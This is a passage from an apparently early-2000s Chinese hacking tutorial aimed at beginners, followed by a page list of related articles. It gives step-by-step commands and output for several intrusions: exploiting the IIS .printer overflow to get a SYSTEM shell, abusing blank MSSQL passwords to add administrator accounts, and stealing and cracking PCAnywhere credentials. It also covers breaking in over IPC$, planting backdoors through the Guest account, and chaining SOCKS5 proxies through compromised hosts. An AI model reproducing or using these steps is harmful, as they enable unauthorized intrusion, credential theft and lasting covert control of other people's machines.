(UNKNOWN) [xxx.xxx.xxx.xxx] 813 (?): connection refused

sent 0, rcvd 0: NOTSOCK

D:\>

呵呵,没有成功哦,可能是打了SP1吧,那我们就在“操作系统类型”里选“IIS5 Chinaese Win2K SP1”,重复以上步骤。

C:\>nc -vv xxx.xxx.xxx.xxx 813

xxx.xxx.xxx.xxx: inverse host lookup failed: h_errno 11004: NO_DATA

(UNKNOWN) [xxx.xxx.xxx.xxx] 813 (?) open

Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

3.IIS.printer漏洞实战篇(用到的程序有:IIS5hack(.printer溢出工具), Netcat(即NC) 。有关IIS5HACK的用法参见帮助。)

关于IIS5HACK程序中部分单词解释:Host:溢出主机的IP地址。HostPort:主机端口。HostType:主机操作系统类型。ShellPort:溢出的端口

现在我们开始吧。假设目标主机为2K系统,且存在IIS.printer漏洞。示例如下:

C:\>iis5hack xxx.xxx.xxx.xxx 80 1 3739

IIS5 remote .printer overflow. writen by sunx

http://www.sunx.org

for test only, dont used to hack, :p

Listn: 80

connecting...

sending...

Now you can telnet to 3739 port

good luck :)

OK!溢出成功!接着用NC连接它的3739端口:

C:\>nc xxx.xxx.xxx.xxx 3739

http://www.sunx.org

Microsoft Windows 2000 [Version 5.00.2195]

(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>

c:\WINNT\system32>whoami

SYSTEM

3.MSSQL空密码漏洞实战篇(用到的软件:流光FluxayIV)

a.利用SQL空密码添加超级用户

开始吧!运行流光4,按Ctrl+R,出现主机扫描设置,填入IP地址,扫描主机类型选SQL,点确定。一会后,假设我们扫到了一台SQL密码为空的主机,流光会自动将用户加入列表,点击用户名,流光会出现连接的提示,点击即可连接。现在你可以添加一个用户(SYSTEM权限):

net user Nature 123456 /add

net localgroup administrators Nature /add

b.SQL空密码结合PCAnyWhere获得目标主机的完全管理权

检查一下目标主机是否开有5631端口,如果有的话,说明目标主机有PCAnyWhere远程管理,如果取得他的帐号和密码,我们不就是可以用PcAnyWhere来远程管理目标主机了吗?!默认情况下,PCAnyWhere安装于c:\Program Files目录下,其data目录下的.cif文件中保存着加密过的帐号和密码。只要得到此文件,就可以用流光自带的PCAnyWhere密码文件解码器来快速解出密码了!用流光扫描该主机,如果有PCAnyWhere文件,那么在流光主机详细列表中就会有主机名了。点击该主机后,流光会有连接提示,点击后即可出现连接对话框。在其中填上你的WEB服务器(可以是免费空间)的ftp地址,用户名和密码,点击确定,过一会,流光会提示上传成功。我们再从我们的个人主页上将那个.cif文件下载下来。然后在流光中按Ctrl+T调出文件选择框,选中那个.cif文件,单击确定,流光的PCAnyWhere密码文件解码器就会很快解出密码!现在打开PCAnyWhere Manager,建立一个指向xxx.xxx.xxx.xxx的通道。在setting项中选择network host pc to control or ip adress, 并添上目标ip:xxx.xxx.xxx.xxx ,选中login information项中的automatically login to host up connection ,并在下面的login name和password栏中填入刚才得到的用户名和密码,确定即可。双击新建立的通道,稍等片刻即可看到了对方桌面。呵呵!又搞定咯!抓抓里面的好东东吧!

4.IPC$共享弱密码漏洞篇(用到的软件:流光FluxayIV,srv.exe、ntlm.exe流光的tools目录下有)

IPC$是Windows的默认共享。我们可以用主机的管理员用户名和密码连接。其实,这个共享并没有什么漏洞。问题就出在管理员密码上了。直至现在为止,世界上起码有20%的人,把主机密码设置为“空”或者“123”等简单密码。而这就是个致命的共享漏洞。我们可以通过猜解管理员的密码,得到目标主机的超级管理员权限, 就可以将目标主机完全控制了!呵呵!是不是很惊讶?来吧,开始入侵!Go Go Go !!!

如果你得到了SQL的管理员密码,你就可以通过IPC$连接到目标主机了。在命令提示符下,使用如下命令:

C:\>net use \\xxx.xxx.xxx.xxx\IPC$

命令成功完成。

C:\>copy srv.exe \\xxx.xxx.xxx.xxx\admin$

C:\>net time \\xxx.xxx.xxx.xxx

\\xxx.xxx.xxx.xxx 的当前时间是 2002/2/11 上午 9:30

命令成功完成。

C:\>at \\xxx.xxx.xxx.xxx 9:35 srv.exe

新加了一项作业,其作业 ID = 1

过了几分钟后,可以再查查目标主机的时间到了我们设置的时间了没有,如果到了,我们就可以telnet上去了,默认端口是99

C:\>telnet xxx.xxx.xxx.xxx 99

Microsoft Windows 2000 [5.00.2195]

(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32

C:\>copy ntlm.exe \\xxx.xxx.xxx.xxx\admin$

回到刚才开的telnet的窗口

Microsoft Windows 2000 [5.00.2195]

(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32\ntlm.exe

Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.

Done!

C:\WINNT\system32\net start telnet

Telnet 服务正在启动...

Telnet 服务已经启动。

键入exit,切断和目标主机的telnet连接,然后再次telnet到目标主机:

C:\WINNT\system32\telnet xxx.xxx.xxx.xxx

Password:

C:\>WINNT\system32\copy srv.exe c:\inetpub\scripts

C:\>WINNT\system32\cmd.exe c:\inetpub\scripts\winserver.exe

C:\>net user Guest /active:yes

C:\net user Guest 1234567890

C:\>net localgroup administrators Guest /add

好了,后门也留够了,这下可以放心了。下次如果管理员的密码改了,只要Guest没有修改,你就可以用Guest来登陆目标主机了!

5.Sock5代理跳板篇(用到的程序:sksockserver.exe,由Snake制作的sock5代理跳板制作工具)

经常有朋友会问起关于Sock5代理的问题,可见大家都对它很感兴趣,所以我觉得还是有必要在这里介绍一下(Sock5代理真的很有用哦)

代理跳板的原理,可以参见以下的示意图:

加密数据 加密数据 普通数据

[]=======[]=======[]=======[]========[]=:::=[]=======[]

工作站 跳板1 跳板2 跳板3 跳板4 跳板N 目标机

好的,开始制作Sock5代理跳板咯!先用IPC$登陆到目标主机上,方法见上文IPC$共享弱密码漏洞篇。然后进入命令提示符状态:

C:\>copy c:\snake\Sksockserver.exe \\xxx.xxx.xxx.xxx\c$\admin$ telnet xxx.xxx.xxx.xxx

Welcome to Microsoft Telnet Client

Telnet Client Build 5.00.99203.1

Escape Character is 'CTRL+]'

You are about to send your password information to a remote computer

in Internet zone. This might not be safe. Do you want to send it anyway(y/n):y

NTLM Authentication failed due to insufficient credentials.

Please login with

clear text username and password

Microsoft (R) Windows (TM) Version 5.00 (Build 2195)

Welcome to Microsoft Telnet Service

Telnet Server Build 5.00.99201.1

login:administrator

password: **********

*==========================================================

Microsoft Telnet

*==========================================================

C:\>

C:\>sksockserver.exe

SkServer - is freeware, All Rights Reserved by snake.2001.

Run with paramater below list:

-Install (Install the service)

-Remove (Remove the service)

-Debug 1813 (Run as console program at port 1813)

~ Next are about service registry value setting ~

-config Show [Port/StartType/Client/SkServer] (Show current config)

-config Port [NewPort] (Set/Show SkServer's Port)

-config StartType [1~3] (Set/Show StartType)

( 2-Auto, 3-Manual, 4-Disable)

-config Client [add/del/change] [IP Mask Enable]

(Show/add/del/change Client Set)

-config SkServer [add/del/change] [IP Port Enable]

(Show/add/del/change Pass Skserver Set)

C:\>sksockserver -install

如果你想来个连跳,那么安装后还要做一下设置。先看看默认设置情况:

C:\>sksockserver -config show

SkServer Port = 1080

SkServer StartType: 3 - Manual

SkServer Enable Client Set Num:0

SkServer Pass SkServer Number:0

如何设置连跳:

c:> SkSockServer -config client'ip [add/del] === [显示/增加/删除 客户端的项目]

c:> SkSockServer -config SkServer'ip [add/del] === [显示/增加/删除 经过SkServer的项目]

C:\>net start skserver

C:\>net start

These Windows 2000 services are started:

......

Snake SockProxy Service

Telnet

......

The command completed successfully.

C:\>

结束语

第一次写这样的教程,没有经验,纯凭自己的感觉走。写完了看看,就觉得有很多不足之处,这仅仅是我自己看出来的,还有我没有发现的不足,希望读者朋友们能够给我提出宝贵意见,从而促使我在以后写出更好的入门文章。一开始准备写的时候,想法很简单,就是把自己平时积累的经验用生动的叙述写出来,可真到了开始写的时候,才发现并不是像自己想的那样简单。一开始列的提纲,写着写着,就觉得还有很多东西没有写,于是越写越觉得要写的东西实在太多了,简直没办法写完。其实网络就是这样,有永远也学不完的知识和技术......在这里我还要谢谢所有支持我的朋友们,有你们的支持,就更加坚定了我一直努力下去,写出更好的黑客资料的信心!真的,谢谢你们!^_^

有什么问题需要我的帮助,尽可以给我来信,我的E-Mail地址是: [email protected]


相关文章

  • 为何要学编程
  • 一.为何要学编程? 每个人的动机不一样.大致有: 1.为了找个好工作:或为了有更好的机会和更好的发展. 2.看到别人超厉害,所以也想学. 3.实际工作中很多场合需要. 4.从小就立志做个程序员,做软件工程师. 5.振兴中国的软件事业. .. ...查看


  • 电脑网络教程
  • 美工设计类: 华夏黑鸟组织PS.7z PhotoshopCS2从头学.7z Photoshop.CS5入门到高级.7z Photoshop_CS3_中文版教程.7z 吕聪贤FLASH_MX.7z 辅助制作 从零开始做CF辅助.7z [变态加 ...查看


  • ★黑客技术★菜鸟黑客入门攻击及防范技巧
  • 菜鸟黑客入门攻击及防范技巧 在正式进行各种"黑客行为"之前,黑客会采取各种手段,探测(也可以说"侦察")对方的主机信息,以便决定使用何种最有效的方法达到自己的目的.来看看黑客是如何获知最基本的网络信息 ...查看


  • [黑客入门新手特训] [PDF]
  • 中文名: 黑客入门新手特训 别名: 黑客入门 资源格式: 压缩包 版本: 2008年7月第1版 发行时间: 2008年7月1日 地区: 大陆 对白语言: 普通话 文字语言: 简体中文 <黑客入门新手特训>从初学者的需求出发,精心 ...查看


  • 菜鸟黑客技术学习入门
  • 菜鸟黑客技术入门指南 一 序言 学东西如果找到好的方法,会事半功倍.反之则事倍功半了.黑客的入门学习也是如此. 因此我总结了一下我个人的一些学习方法与心得(当然有一些方法也是网上的朋友教我的),希望能给刚入门的朋友一些参考,使其少走弯路.如 ...查看


  • 黑客攻防技术入门与提升
  • 黑客攻防入门与进阶文字教程 第一章 黑客入门的必修知识 查看系统进程:tasklist 打开端口:netstat -a -n 在DOS下查看进程:服务 Remote Procedure Call (RPC) 登录-硬件配置文件 profil ...查看


  • [黑客]如何网上入侵对方个人电脑(1)
  • 如何网上入侵对方个人电脑 -------------------------------------------------------------------------------- 作者: 来源:中国青年黑客联盟 类别:黑客教学 日期 ...查看


  • [黑客]如何网上入侵对方个人电脑
  • 如何网上入侵对方个人电脑 这道快餐是专门为从来没有通过网络进入过对方计算机的网络新手们准备的,主要使用的软件就是著名的国产木马冰河2.2,所以,如果你已经使用过冰河2.2,就不必跟着我们往下走了.其他有兴趣的网络新手们,Let's go! ...查看


  • 数据新闻手册
  • 前言 致所有无私奉献者 贡献者列表 有关中文版翻译 本书讲了哪些内容(又没讲哪些内容) 手册一览 入门 何谓数据新闻? 为何记者要运用数据? 经典案例 数据新闻的视角 新闻编辑室的运作 ABC的数据新闻实践 数据新闻在BBC 新闻应用团队在 ...查看


热门内容